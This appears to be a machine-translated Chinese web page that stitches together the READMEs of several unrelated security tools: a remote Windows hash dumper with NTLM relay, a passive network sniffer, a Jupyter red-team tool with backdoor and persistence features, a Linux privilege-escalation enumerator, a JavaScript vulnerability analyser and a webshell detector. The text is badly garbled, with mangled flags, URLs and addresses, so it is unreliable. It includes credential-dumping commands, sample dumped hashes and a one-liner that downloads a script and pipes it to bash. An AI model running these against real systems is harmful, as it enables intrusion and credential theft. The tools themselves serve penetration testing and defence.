HireHackking

软件包go-secdump是一种构建的工具，旨在从SAM注册表中远程提取哈希以及LSA秘密和从没有任何远程代理而无需触摸磁盘的安全蜂巢中的LSA秘密和加速哈希。 该工具是在库GO-SMB顶部构建的，并使用它与Windows Remote注册表进行通信，以直接从内存中检索注册表键。 它是作为一种学习经验而建立的，作为一种概念证明，应该可以远程从Sam Hive和LSA秘密中远程检索NT Hashes，以及域的固定率，而无需首先保存注册表蜂箱来磁盘，然后在本地分析它们。 要克服的主要问题是SAM和安全蜂箱仅由NT Authority \ System可读。但是，我注意到本地小组管理员对注册表hives掌握了WitterAcl许可，因此可以临时授予自身访问自身以检索秘密，然后恢复原始权限。 信用 该项目中的许多代码都是从Impack的secdump中启发/取的，但转换为远程访问Windows注册表，仅访问所需的注册表键。 其他一些用于理解注册表结构和加密方法有用的来源列出了: https://www.passcape.com/index.php?section=docsyscmd=detailsid=23 http://WWW.BeginningToseEethelight.org/ntsecurity/index.htm https://Social.technet.microsoft.com/forums/en-us/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-are-are-ntlm-hashes-hashes-hashes-hashes-ntlm-hashes-setord--------------------- under-under-under-the-the-the-v-key-in-in-in-in-in-in-in-in-in-the-sam？ 用法 用法:/go-secdump [选项] Options: - 主机主机名或远程服务器的IP地址 -p， - 波特端口SMB端口（默认445） -d， - 用于登录的域域名 -U， - 用户用户名用户名 -p， - 通行证密码 -n， - -NO-PASS禁用密码提示，没有发送凭据 - 用户密码编码NT HASH HASH编码NT哈希 - 本地验证作为本地用户而不是域用户 - 将SAM和安全蜂巢保存到磁盘上，并将其保存 将它们传输到本地机器。 - SAM提取物明确地从Sam Hive中提取秘密。仅包括其他明确目标。 -LSA提取物LSA秘密明确。仅包括其他明确目标。 -DCC2提取物DCC2缓存。仅包括OHTER显式目标。 -backup-dacl在修改之前将原始DACL保存到磁盘 - 使用磁盘备份还原DACL。如果自动还原失败，可能会很有用。 - 用于DACL备份的backup-file文件名（默认DACL.BACKUP） - Relay启动了SMB侦听器，该侦听器将传达 远程服务器的NTLM身份验证 使用该连接。请注意，这迫使SMB 2.1 没有加密。 - Relay-port端口侦听端口（默认445） -Socks-主机目标通过Socks5代理服务器建立连接 -Socks-port端口Socks5代理端口（默认1080） -t，-pimeout Dial超时以秒为单位（默认5） - Noenc禁用SMB加密 -SMB2力SMB 2.1 - debug启用调试记录 - verbose启用详细记录 -o， - 输出文件名用于编写结果（默认为stdout）。如果存在，将附加到文件。 -v， - Version Show版本 更改DACLS GO-SECDUMP将自动尝试修改，然后还原所需注册表键的DACL。但是，如果在恢复部分（例如网络断开连接或其他中断）中出现问题，则远程注册表将留下修改后的DACL。 使用-backup-dacl参数，可以在修改之前存储原始DACL的序列化副本。如果发生连接问题，则可以使用-RESTORE-DACL参数从文件恢复DACL。 示例 转储所有注册表秘密 ./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123-本地 或者 ./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123- -Local -SAM -SAM -LSA-LSA-DCC2 DUMP仅SAM，LSA，LSA或DCC2缓存秘密 ./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123- -Local -SAM ./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123-Local-LSA ./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123- -Local-DCC2 NTLM继电器 使用NTLM继电器转储注册表秘密 开始听众 。 yyyy/mm/dd HH:MM:SS SMB [通知]客户端从192.168.0.30:49805连接 yyyy/mm/dd HH:MM:SS SMB [通知]客户端（192.168.0.30:49805）成功地验证为（domain.local \ Administrator）针对（192.168.0.168.0.1003:445）！ Net-NTLMv2 Hash: Administrator:3360domain.local:34f4533b697afc39:b4dcafebabedd12deadbeefffef1cea36:010100000deadbeef59d13adc22dda0 2023/12/13 14:47:28 [通知] [+]不需要签名 2023/12/13 143:47:28 [通知] [+]登录成功为域。 [*]倾倒当地的山姆哈希 name:管理员 RID: 500 NT: 2727D7906A776A77B34D0430AACD2C5 名称:来宾 RID: 501 NT:空 NAME: DEFAULTACCOUNT RID: 503 NT:空 name: wdagutilityAccount RID: 504 NT:空 [*]倾倒LSA秘密 [*] $ Machine.acc $ Machine.ACC:0x15DeadBeef645E75B38A50A52BDB67B4 $ Machine.acc:plain_password_hex:47331E26F48208A7807CAFEABABE267261F79F79FDC 38C740B3BDEADBEEF7277D696BCAFEBABEA62BB5247AC63BE764401ADEADEADBEEF4563CAFEBABE43692DEADEADBEEF03F . [*] DPAPI_SYSTEM DPAPI_MACHINEKEY:0x8AFA12897D53DEADBEEFBD82593F6DF04DE9C100 DPAPI_USERKEY:0x706E1CDEA9A8A58CAFEBABE4A34E23BC5EFA8939 [*] NL $ KM NL $ KM:0x53AA4B3D0DEADBEEF42F01F01EF138C6A74 [*]倾倒缓存的域凭据（域/用户名:HASH） domain.local/inderdaimator: $ dcc2 $ 10240＃管理员＃97070D085DeadBeef22CafebabeDD1AB . 袜子代理 使用上游Socks5代理进行旋转或利用Impacket的ntlmrelayx.py Socks Server功能。 当使用ntlmrelayx.py作为上游代理时，提供的用户名必须匹配已验证的客户端的代理，但是密码可以为空。 ./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support -no-http-server -no-http-server -no-wcf-server -no-wcf-server -no-no-raw-Server .

无形协议嗅探器，用于在网络中查找漏洞。专为penters和安全工程师而设计。 以上:隐形网络协议sniffer 专为五旬节和安全工程师设计 作者: Magama Bazarov，[电子邮件保护] 假名:施法者 版本: 2.6 CodEname:内向 免责声明 此存储库中包含的所有信息仅用于教育和研究目的。作者对此工具的任何非法使用概不负责。 这是一种专门的网络安全工具，可帮助申请人和安全专业人员。 上面的 力学 是一个无形的网络嗅探器，用于在网络设备中找到漏洞。它完全基于网络流量分析，因此不会在空中发出任何噪音。他是看不见的。完全基于Scapy库。 上面允许penters自动化在网络硬件中查找漏洞的过程。发现协议，动态路由，802.1q，ICS协议，FHRP，STP，LLMNR/NBT-NS等 支持的协议 最多检测27个协议: MacSec（802.1x AE） EAPOL（检查802.1x版本） ARP（被动ARP，主机发现） CDP（思科发现协议） DTP（动态中继协议） LLDP（链接层发现协议） 802.1q标签（VLAN） S7COMM（西门子） 奥隆 TACACS+（终端访问控制器访问控制系统加上） modbustcp STP（跨越树协议） OSPF（首先开放最短路径） EIGRP（增强的内部网关路由协议） BGP（边界网关协议） VRRP（虚拟路由器冗余协议） HSRP（主机待机冗余协议） GLBP（网关负载平衡协议） IGMP（互联网组管理协议） llmnr（链接本地多播名称分辨率） NBT-NS（NetBios名称服务） MDN（多播DNS） DHCP（动态主机配置协议） DHCPV6（动态主机配置协议V6） ICMPV6（Internet控制消息协议V6） SSDP（简单服务发现协议） MNDP（Mikrotik邻居发现协议） 操作机构 在两种模式:中工作 热模式:在界面上嗅探指定计时器冷模式:分析流量转储该工具的操作非常简单，并且由参数驱动: Interface: Specifying the network interface on which sniffing will be performed Timer: Time during which traffic analysis will be performed Input: The tool takes an already prepared .pcap as input and looks for protocols in it Output: Above will record the listened traffic to .pcap file, its name you specify yourself Passive ARP: Detecting hosts in a segment using Passive ARP usage:上面.py [-h] [ - 接口接口] [ - timer Timer] [ - 输出输出] [ - 输入输入] [ - passive-arp] Options: -h， - 赫尔普显示此帮助消息和退出 - 接口接口 流量聆听的接口 - 以几秒钟的时间计时器时间以捕获数据包，如果不设置捕获，则无限期运行 - 输出输出文件名，记录流量的位置 - 输入输入文件名称流量转储的名称 -Passive-Arp被动ARP（主机发现） 有关协议的信息 所获得的信息不仅对五个五个人都有用，而且对安全工程师，他还会知道他需要注意的是什么。 上面检测协议时，它会输出必要的信息以指示攻击向量或安全性问题: Impact:对该协议可以进行哪种攻击； 工具:可以使用哪种工具来启动攻击； 技术信息:所需的五个五旬节，发件人MAC/IP地址，FHRP组ID，OSPF/EIGRP域等的信息 缓解:解决安全问题的建议 源/目标地址:用于协议，以上显示有关源和目标MAC地址和IP地址的信息 安装 Linux 您可以直接从Kali Linux存储库中安装 caster@kali:〜 $ sudo apt更新sudo apt安装上方或. caster@kali:〜 $ sudo apt-get install python3-scapy python3-colorama python3-stetuptools Caster@kali:〜 $ git克隆https://github.com/casterbyte/above Caster@kali:〜 $ cd上方/ caster@kali:〜/上方$ sudo python3 setup.py安装 macOS： ＃安装python3首先 酿造安装python3 ＃然后安装所需的依赖项 sudo pip3安装scapy colorama setuptools ＃克隆仓库 git克隆https://github.com/casterbyte/above CD上方/ sudo python3设置。py安装不要忘记在MacOS上停用防火墙！ 设置网络防火墙 如何使用 热模式 需要嗅探根访问 以上可以在有或没有timer:的情况下运行 caster@kali:〜 $ sudo上方- 接口eth0 -timer 120停止流量嗅探，按CTRL +寻 警告！上面的设计并非用于使用隧道界面（L3），因为将过滤器用于L2协议。隧道L3接口上的工具可能无法正常工作。 示例: Caster@kali:〜 $ sudo上方- 接口eth0 -timer 120 ----------------------------------------------------------------------------------------------------------------------------------------------------------- [+]开始嗅. [*]检测到协议后- 将显示有关其的所有必要信息 ----------------------------------------------------------------------------- [+]检测到的SSDP数据包 [*]攻击影响: UPNP设备开发的潜力 [*]工具: Evil-SSDP [*] SSDP源IP: 192.168.0.251 [*] SSDP源MAC: 02:10:DE3:6064:F233:34 [*]缓解措施:确保在所有设备上禁用UPNP，除非绝对必要，请监视UPNP流量 ----------------------------------------------------------------------------- [+]检测到的MDNS包 [*]攻击影响: MDNS欺骗，凭证拦截 [*]工具:响应者 [*] MDNS欺骗专门针对Windows机器的作品 [*]您无法从Apple设备获得NetNTLMV2-SSP [*] MDNS发言人IP: FE80:3360183F3:301C3:27BD3:543 [*] MDNS演讲者MAC: 02:10:DE333333333333:F233:34 [*]缓解:过滤MDNS流量。小心MDN过滤 --------------------------------------------------------------------------------如果您需要记录流量，请使用- 输出参数 caster@kali:〜 $ sudo上方- 接口eth0 -timer 120-上方。 冷模式 如果您已经有一些记录的流量，则可以使用- 输入参数来寻找潜在的安全问题 caster@kali:〜 $上方- 输入ospf-md5.cap emamexemend: Caster@kali:〜 $ sudo上方- 输入OSPF-MD5.CAP [+]分析PCAP文件. ----------------------------------------------------------------------------- [+]检测到的OSPF数据包 [+]攻击影响:子网发现，黑洞，邪恶的双胞胎 [*]工具: Loki，Scapy，frofrouting [*] OSPF区域ID: 0.0.0.0 [*] OSPF邻居IP: 10.0.0.1 [*] OSPF邻居MAC: 00:0C:29333333333:4C3:54 [！] authentication: MD5 [*] Bruteforce: Ettercap的工具，开膛手约翰 [*] OSPF密钥ID: 1 [*]缓解:启用被动界面，使用身份验证 ----------------------------------------------------------------------------- [+]检测到的OSPF数据包 [+]攻击影响:子网发现，黑洞，邪恶的双胞胎 [*]工具: Loki，Scapy，frofrouting [*] OSPF区域ID: 0.0.0.0 [*] OSPF邻居IP: 192.168.0.2 [*] OSPF邻居MAC: 00:0C:2933333333333333333333333:FB [！] authentication: MD5 [*] Bruteforce: Ettercap的工具，开膛手约翰 [*] OSPF密钥ID: 1 [*]缓解:启用被动界面，使用身份验证 被动arp 该工具可以通过在被动模式下处理ARP帧在空中检测主机 caster@kali:〜 $ sudo上方- 接口eth0 -passive-arp -timer 10 [+]使用被动ARP的主机发现 ----------------------------------------------------------------------------- [+]检测到的ARP回复 [*] ARP回复IP: 192.168.1.88 [*] MAC地址: 00:00:0C33:073:AC:C8 ----------------------------------------------------------------------------- [+]检测到的ARP回复 [*] ARP回复IP: 192.168.1.40 [*] MAC地址: 00:0C3:293:C5333333333333:81 ---------------------------------------------------------------------------------------------------------------------------------------------------------------------》（ utro ）我写了此工具，因为Koan Sound的曲目“来自上方的视图（Remix）”。当我从事这个嗅探器时，这首歌对我来说是一切。

V'GER是一个交互式命令行应用程序，用于探索已验证的jupyter实例，重点是AI/ML安全操作。 用户故事 作为红色队友，您已经找到了Jupyter的凭据，但不知道您能对它们做什么。 V'ger的组织格式应该是大多数进攻性安全专业人员，以帮助他们了解目标jupyter服务器的功能。作为一名红色团队，您知道一些基于浏览器的操作将对合法的Jupyter用户进行可见。例如，修改选项卡将出现在其工作区中，并且在单元格中输入的命令将记录到历史记录。 v'ger降低了检测的可能性。作为AI Red Teamer，您了解学术算法攻击，但需要更实用的执行向量。例如，作为模型贫困操作的一部分，您可能需要修改一个大型的基础互联网规模数据集。修改该数据集的源可能是不可能的，或者会产生不良的可唤起工件。使用V'ger，您可以实现同样的目标，这可以显着改善Tradecraft。作为蓝色团队，您想了解实时jupyter部署的记录和可见性。 v'ger可以帮助您生成可重复的工件，以测试仪器和执行事件响应练习。 用法 初始设置 PIP安装VGER VGER-当前，VGER Interactivity具有最大功能，可维持发现的人工制品和经常性工作的状态。但是，大多数功能也可以通过非交互格式与VGER模块相关。列出了带有VGER的可用模块-HELP。 命令 建立连接后，用户会陷入嵌套的菜单。 顶级菜单IS: -RESET:配置其他主机。 - 枚举:实用程序，以了解有关主机的更多信息。 - 利用:实用程序来对宿主和工件进行直接操作和操纵。 - Persist:建立持久机制的实用程序。 - 导出:将输出保存到文本文件。 - Quit:没有人喜欢退出。 这些菜单包含以下功能: -List模块:标识目标笔记本中的导入模块，以确定哪些库可用于注入代码。 - 注射:在选定笔记本的上下文中执行代码。代码可以在文本编辑器中或指定局部.py文件中提供。将任何输入作为字符串处理并在笔记本的运行时执行。 - Backdoor:启动一个新的Jupyterlab实例开放至0.0.0.0，并在用户指定密码的用户指定端口上允许root。 - 检查历史:参见最近在目标笔记本中运行的ipython命令。 - 运行Shell Command:生成终端，运行命令，返回输出并删除终端。 - 列出DIR或获取相对于Jupyter目录的File:列表目录。如果您不知道，请从/开始。 - 上传文件:从Localhost上传到目标。指定与列表DIR（相对于Jupyter目录）相同格式的路径。提供一条完整的路径，包括文件名和扩展。 - 删除文件:删除文件。指定与列表DIR（相对于Jupyter目录）相同格式的路径。 - 查找Models:根据公共文件格式找到模型。 - 下载Models:下载已发现的模型。 -Snoop:监视笔记本电脑执行和结果，直到超时为止。 - 重复出现的工作:在目标环境中默默地启动/杀死反复出现的代码段。 实验 带有PIP Install VGER [AI]，您将在目标环境中获得LLM生成的笔记本摘要。对于非DS/AI的人们来说，这些是粗略的翻译，以便快速试用IF（或哪个）笔记本值得进一步研究。 在模型大小与能力方面存在固有的权衡，这是我继续修改的东西，但希望这对一些传统的安全用户有帮助。我很想看到人们开始提示注射笔记本（“这些不是您要寻找的机器人”）。 示例 覆盖火炬数据集以更改标签

首先，有几个有用的洋金;） wget'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/latest/download/lse.sh'-o lse.sh; chmod 700 lse.sh curl'3https://github'3https://github.com/diego-go-treitos of lse.sh; chmod 700 lse.sh请注意，由于版本2.10，您可以使用-s标志将脚本提供给其他主机！ Linux-Smart-Enumeration 用于塞特和CTFS的Linux Eunumeration工具 该项目的灵感来自https://github.com/rebootuser/linenum，并使用了许多测试。 与亚麻不同，LSE试图根据Privesc的角度逐渐揭示信息的重要性。 是什么？ 此Shell脚本将显示有关本地Linux系统安全性的相关信息，有助于升级特权。 从2.0版中，它主要符合POSIX，并通过ShellCheck和Posh进行了测试。 它还可以监视进程以发现经常性程序执行。它在执行所有其他测试时监视它，因此您可以节省一些时间。默认情况下，IT在1分钟内监视，但是您可以使用-P参数选择手表时间。 它具有3个冗长级别，因此您可以控制看到多少信息。 在默认级别中，您应该看到系统中非常重要的安全缺陷。 1级（./lse.sh -L1）显示了有趣的信息，这些信息应帮助您进行PRIVESC。 2级（./lse.sh -l2）将仅转储它收集有关系统的所有信息。 默认情况下，它将问您一些问题:主要是当前用户密码（如果您知道的话;），以便可以进行一些其他测试。 如何使用它？ 这个想法是逐渐获取信息。 首先，您应该像./lse.sh一样执行它。如果您看到一些绿色是！您可能已经有一些好东西可以使用。 如果没有，您应该尝试使用./lse.sh -l1的1级详细性，并且您会看到一些有趣的信息。 如果没有帮助，那么第2级将使用./lse.sh -l2倾倒您可以收集有关服务的所有内容。在这种情况下，您可能会发现使用./lse.sh -l2 |少-r。 您还可以通过传递-s参数选择要执行的测试。使用它，您可以选择要执行的特定测试或部分。例如，/lse.sh -l2 -s usr010，net，pro将执行测试usr010和部分NET和PRO中的所有测试。 USE:/lse.sh [选项] 选项 -c禁用颜色 - 我非交互式模式 - 这有帮助 -L级别输出冗长级别 0:显示出非常重要的结果。 （默认） 1:显示出有趣的结果。 2:显示所有收集的信息。 -s选择逗号单独的部分或测试列表要运行。可用的 第:节 USR:用户相关的测试。 SUD:相关测试。 FST:文件系统相关测试。 SYS:系统相关测试。 SEC:安全措施相关测试。 RET: recurren任务（CRON，时代）相关测试。 NET:网络相关测试。 SRV:服务相关测试。 PRO:相关的测试。 SOF:软件相关测试。 CTN:容器（Docker，LXC）相关测试。 CVE: CVE相关测试。 特定测试可以与其ID一起使用（即: USR020，SUD） -e路径逗号单独的排除路径列表。这允许您 以完整性为代价进行更快的扫描 -p秒的时间监视器将花费观看 过程。值为0将禁用任何手表（Default: 60） - 在此主机中提供LSE.SH脚本，因此可以检索 来自远程主机。 它很漂亮吗？ 用法演示 也可以在WebM视频中找到 级别0（默认）输出样本 级别1详细输出样本 级别2详细输出样本 示例 直接执行ONILINER bash（wget -q -o-'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/latest/download/lse.sh'） -l1 -i

基于ESPRIMA解析器的JavaScript的属性图的开源，原型实现以及Estree spidermonkey规范。 JAW可用于分析Web应用程序和基于JavaScript的程序的客户端。 该项目已根据GNU AFFERO通用公共许可证v3.0许可。请参阅此处以获取更多信息。 Jaw在https://soheilkhodayari.github.io/jaw/上提供了一个GitHub页面网站。 发行说明: 2023年10月，JAW-V3（警长）: JAW已更新以检测客户端请求劫持漏洞。 2022年7月，JAW-V2（Thetthing）: JAW更新到其下一个主要版本，能够检测DOM CLOBBerbering漏洞。请参阅JAW-V2分支。 2020年12月，JAW-V1 :第一个原型版本。请参阅JAW-V1分支。 jaw 的概述 下颌的体系结构如下所示。 测试输入 可以以两种不同的方式使用: 任意JavaScript Analysis:通过指定程序的文件系统路径来建模和分析任何JavaScript程序。 Web应用程序分析3:通过提供单个种子URL来分析Web应用程序。 数据收集 JAW具有几个启用JavaScript的Web爬网机，用于大规模收集Web资源。 HPG构造 使用收集的Web资源创建混合程序图（HPG），该图将导入到NEO4J数据库中。 可选地，为HPG构造模块提供语义类型的映射到自定义JavaScript语言令牌，从而根据其目的促进JavaScript函数的类别（例如，HTTP请求函数）。 分析和输出 查询构建的NEO4J图数据库，以进行各种分析。 JAW为数据流分析，控制流分析，可及性分析和模式匹配提供实用程序遍历。这些遍历可用于开发自定义安全分析。 下巴还包括用于检测客户端CSRF的内置遍历，DOM CLOBBERing和请求劫持漏洞。 输出将存储在与输入的文件夹中。 设置 安装脚本依赖于以下先决条件:-最新版本的NPM软件包管理器（Node JS） - python 3.x的任何稳定版本3.x -Python Pip Package Manager 之后，安装必要的依赖项Via: $ ./install.sh，有关详细的安装说明，请参阅此处。 快速启动 运行管道 您可以在背景屏幕Via:中运行管道实例 $ python3 -m run_pipeline -conf=config.yaml CLI提供以下选项: $ python3 -m run_pipeline -h USAGE: run_pipeline.py [-h] [ - conf file] [ - site site] [ - 列表列表] [ - from from] 该脚本运行工具管道。 可选参数: -h， - 赫尔普显示此帮助消息和退出 -conf文件，-c文件管道配置文件。 （Default: config.yaml） - 网站，-s网站网站进行测试；覆盖配置文件（Default:无） - 列表列表，-l列表网站列表要测试；覆盖配置文件（Default:无） - 从第一个条目中，从第一个条目中考虑提供站点列表何时；覆盖配置文件（Default: -1） - to，-t到最后一个条目，请考虑何时提供站点列表；覆盖配置文件（Default: -1）输入config: jaw期望.yaml配置文件作为输入。有关示例，请参见Config.yaml。 暗示。配置文件指定不同的通行证（例如，爬网，静态分析等），可以为每个漏洞类启用或禁用。这允许单独或以不同的顺序运行工具构建块（例如，首先爬网，然后进行安全分析）。 快速示例 用于运行快速示例，演示如何构建属性图并在其上运行Cypher查询，DO: $ python3 -M andarys.example.example_analysis-输入=$（pwd）/data/test_program/test.js 爬行和数据收集 此模块收集数据（即测试的JavaScript代码和状态值）。如果要测试文件系统上已经有的特定JavaScript文件，则可以跳过此步骤。 Jaw具有基于硒（JAW-V1），Puppeteer（JAW-V2，V3）和剧作家（JAW-V3）的爬虫。对于大多数最新功能，建议使用uppeteer或基于剧作的版本。 剧作家CLI与Foxhound 这款Web Crawler员工Foxhound是Firefox的乐器版本，在通过网页导航时执行动态污染跟踪。要启动爬行者，DO: $ CD爬网 $ Node crawler-taint.js -seedurl=https://google.com -maxurls=100 -headless=true-true-foxhoundpath=optional-foxhound-path-foxhound-path foxHoundPath默认设置为以下Directory: Crawler/Firfox，其中包含一个名为Binary Firefox。 Note:您需要使用此版本的Foxhound构建。 JAW-V3版本中包含Ubuntu构建。 木偶cli 启动爬行者，do: $ CD爬网 $ node crawler.js - seedurl=https://google.com -maxurls=100 -browser=chrome -headless -headless=true，请参阅此处。有关更多信息。 硒cli 启动爬行者，do: $ CD爬行者/HPG_CRAWLER $ vim docker-compose.yaml＃设置要在此处爬网的网站并保存 $ docker-compose构建 $ docker -compose -D请参阅此处的HPG_CRAWLER的文档以获取更多信息。 图形结构 HPG构造CLI 用于生成给定（一组）JavaScript文件的HPG，DO: $ node Engine/cli.js -lang=js -graphid=graph1 -input=/in/file1.js -input=/in/file2.js -output=$（pwd）/data/data/out/-mode=csv 可选参数: -lang:输入程序的语言 -graphid:生成的HPG的标识符 -Input:输入程序的路径 - 输出:输出hpg的路径必须为i -mode:确定输出格式（CSV或GraphMl） HPG导入CLI 以在Neo4J Graph数据库（Docker实例）内导入HPG，DO: $ python3 -m hpg_neo4j.hpg_import -rpath=to to to to to-the-folder-the-csv-files -id=xyz -nodes=nodes.csv-eDges=rels.csv=rels.csv $ python3 -m hpg_neo4j.hpg_import -h USAGE: HPG_IMPORT.PY [-H] [ - -RPATH P] [-ID I] [ - NODES N] [ - EDGES E] 该脚本将属性图的CSV导入到Neo4J Docker数据库中。 可选参数: -h， - 赫尔普显示此帮助消息和退出 - 吊车P的相对路径与包含`data`目录中的图形CSV文件的文件夹相对路径 - ID i图形或Docker容器的标识符 - 节点n节点CSV文件的名称（default: nodes.csv） - edges e关系CSV文件的名称（Default: Rels.CSV） HPG构造和导入CLI（V1） ，以创建HPG_Crawler输出的混合属性图并在本地NEO4J实例中导入它，您也可以do: do: $ python3 -m engine.api path --js=program.js --import=bool --hybrid=bool --reqs=requests.out --evts=events.out --cookies=cookies.pkl --html=html_snapshot.html Specification of Parameters: path: absolute path to the folder containing the program files for analysis (must be under引擎/输出文件夹）。 -js=program.js:用于分析的JavaScript程序的名称（DEFAULT: JS_PROGRAME.JS）。 -import=boo:是否应将构造的属性图导入到活动的neo4j数据库（Default: True）。 -HYBRID=BOOL:是否启用了混合模式（Default: False）。这意味着测试仪希望通过输入文件来丰富属性图，该文件的任何HTML快照，触发事件，HTTP请求和cookie（如Jaw Crawler收集）。 - reqs=requests.out:仅用于混合模式，包含观察到的网络请求序列的文件的名称，将字符串false传递以排除（default: request_logs_short.out.out）。 -evts=Events.out:仅用于混合模式，包含射击事件序列的文件的名称，将字符串false传递以排除（default: Events.out）。 -html=html_snapshot.html:仅用于混合模式，包含cookie的文件的名称，将字符串false传递以排除（default: cookies.pkl）。 -html=html_snapshot.html:仅用于混合模式，包含DOM树快照的文件的名称，将字符串false传递到dublate（default: html_rendered.html）。有关更多信息，您可以使用Graph Construction API:提供的帮助CLI $ Python3 -m Engine.API -H 安全分析 可以使用Cypher或NeoModel ORM查询构造的HPG。 运行自定义图形遍历 您应该在分析/Analysis_name中放置并运行查询。 选项1：使用NeoModel Orm（已弃用） 您可以使用NeoModel Orm查询HPG。写一个query: （1）查看HPG数据模型和语法树。 （2）查看HPGS的ORM模型（3）请参阅提供的示例查询文件； example_query_orm.py在分析/示例文件夹中。 $ python3 -m analyzes.example.example_query_orm有关更多信息，请参阅此处。 选项2：使用Cypher查询 您可以使用Cypher编写自定义查询。对于此: （1）查看HPG数据模型和语法树。 （2）请参见提供的示例查询文件； example_query_cypher.py在分析/示例文件夹中。 $ python3 -m andarys.example.example_query_cypher有关更多信息，请参阅此处。 漏洞检测 本节介绍了如何配置和使用下颌进行漏洞检测以及如何解释输出。下颌包含用于检测客户端CSRF和DOM CLOBBERING的独立查询 步骤1。在输入config.yaml文件:中启用漏洞类的分析组件 request_hijacking: 启用: True ＃[.] ＃ Domclobbering: 启用: false ＃[.] CS_CSRF: 启用: false ＃[.]步骤2。使用:运行管道实例 $ python3 -m run_pipeline -conf=config.yaml提示。您可以在不同的屏幕下运行多个管道的实例: $ screen -dms s1 bash -c'python3 -m run_pipeline -conf=conf1.yaml; exec sh' $ screen -dms s2 bash -c'python3 -m run_pipeline -conf=conf2.yaml; exec sh' $＃[.]要自动生成并行配置文件，您可以使用generate_config.py脚本。 如何解释分析的输出？ 输出将存储在一个名为sink.flows.out的文件中，以在与输入的文件夹中。例如，对于客户端的CSRF，对于每个检测到的HTTP请求，下颌输出标记与构造请求（即程序切片）元素相关的语义类型集（又称语义标签或标签）的条目。例如，通过窗口。LocationIndection Point可以原谅具有语义类型['win.loc']的HTTP请求。但是，标记为['非范围']的请求是不可原谅的。 示例输出条目在:下显示 [*] tags: ['win.loc'] [*] nodeid: {'topexpression':'86'，'callexpression':'87'，'gright':'94'} [*]位置: 29 [*]功能: AJAX [*] template: ajaxloc +'/bearer1234/' [*] top Expression: $ .ajax（{Xhrfields: {withCredentials:'true'}，url: ajaxloc +'/bearer1234/'}） 1: ['win.loc']变量=ajaxloc 0 (loc:6)- var ajaxloc=window.location.href This entry shows that on line 29, there is a $.ajax call expression, and this call expression triggers an ajax request with the url template value of ajaxloc + '/bearer1234/, where the parameter ajaxloc is a program slice reading its value at line 6 from window.location.href, thus forgetable through ['win.loc']。 测试Web应用程序 为了简化下颌的测试过程并确保您的设置准确，我们提供了一个简单的node.js Web应用程序，您可以使用该应用程序测试JAW。 首先，安装依赖项VIA: $ CD测试/测试Webapp 然后安装$ npm，然后在新的屏幕:中运行该应用程序 $ screen -dms jawwebapp bash -c'端口=6789 npm run devstart; Exec SH' 详细的文档。 有关更多信息，请访问我们的Wiki页面。以下是用于快速访问的目录。 jaw 的网络爬网 Web Crawlers 010-10属性图节点语法和语法树属性图 混合属性图（HPGS）的数据模型 图形结构 使用jaw with Neo4j docker容器 图形遍历 构建属性图3010-10在属性图3 贡献和行为准则 拉的属性图3 学术出版物 拉动请求。该项目旨在是一个安全，受欢迎的空间，预计贡献者将遵守《贡献者的行为守则》。 确认 如果您使用下巴进行学术研究，我们建议您引用以下论文: @inproceedings {jaw， title={JAW:使用混合属性图和声明性遍历研究客户端CSRF， 作者={Soheil Khodayari和Giancarlo Pellegrino}， BookTitle={30th {USENIX}安全研讨会（{USENIX} SECURION 21）}， 年={2021}， 地址={Vancouver，B.C。}， publisher={{usenix}协会}， } 010-1010颌骨已经走了很长一段路，我们想在这里给贡献者一个当之无愧的喊叫！ @tmbrbr， @c01gide，@jndre和sepehr mirzaei。

ShellSweep 壳 为什么要shellsweep “ ShellSweep”是一种PowerShell/Python/LUA工具，旨在检测指定目录中潜在的Webshell文件。 ShellSheep及其套件的工具套件计算文件内容的熵，以估计文件是网络壳的可能性。高熵表示更多的随机性，这是在网络壳中经常发现的加密或混淆代码的特征。 - 它仅处理具有某些扩展名的文件（.asp，aspx，asph，php，jsp），这些文件通常在Webshells中使用。 - 某些目录可以排除在扫描之外。 - 在扫描过程中可以忽略具有某些哈希的文件。 在信息理论或数据科学的背景下， ShellSweep如何找到外壳？ 熵是一组数据中不可预测性，随机性或混乱的量度。这个概念是克劳德马云惹不起马云香农（Claude Shannon）在1948年的《交流数学理论》中引入的。 当应用于文件或文本字符串时，熵可以帮助评估数据的随机性。如果文件由完全随机的数据组成（每个字节都可能是0到255之间的任何值），则其工作方式为:则熵较高，接近8（因为log2（256）=8）。 如果文件由高度结构化的数据组成（例如，大多数字节是ASCII字符的文本文件），则熵较低。在查找Webshells或恶意文件的上下文中，熵可能是有用的指标:-许多混淆的脚本或加密的有效载荷可以具有较高的熵，因为混淆或加密过程使数据看起来随机。 - 普通的文本文件或HTML文件通常会具有较低的熵，因为人类可读的文本具有模式和结构（某些字母更常见，单词通常由空间等等等）。因此，一个异常高的熵的文件可能是可疑的，值得进一步调查。但是，这并不是恶意的确定指标- 文件可能具有很高的熵，并且恶意软件可能避免引起高熵。它只是用于检测潜在威胁的较大工具箱中的一个工具。 ShellSweep包含一个geentropy函数，该功能计算文件内容的熵BY:-计数文件中每个字符的频率。 - 使用这些频率来计算每个字符的概率。 - 对于每个字符，p*log2（p），其中p是字符的概率。这是信息理论熵的公式。 shellscan ShellScan提供了扫描多个已知不良Webshell目录的能力，并通过文件扩展名输出平均，中值，最小和最大熵值。 通过ShellScan.ps1 Webshells的一些目录，设置任何尺寸。我用过: https://github.com/tennc/webshell https://github.com/blackarch/webshells 3https://github.com/tarwich/jackal/jackal/jackal/blob/master/libraries/这将提供一个不错的训练，以获取可获得入口值的稳固培训。 输出示例: .aspx文件的统计信息: 平均熵: 4.94212121048115 最小熵: 1.2934870997974 最大熵: 6.09830238020383 中值熵: 4.85437969842084 .asp文件的统计信息: 平均熵: 5.51268104400858 最小熵: 0.732406213077191 最大熵: 7.69241278153711 中位熵: 5.57351177724806 shellcsv 首先，让我们分解ShellCSV的用法以及它如何帮助识别磁盘上的好文件的熵。这个想法是，防御者可以在Web服务器上运行此操作，以收集所有文件和熵值，以更好地了解哪些路径和扩展在其工作环境中最突出。 请参见ShellCSV.CSV作为示例输出。 ShellSweep 首先，选择您的Floaty: Python，PowerShell或Lua。 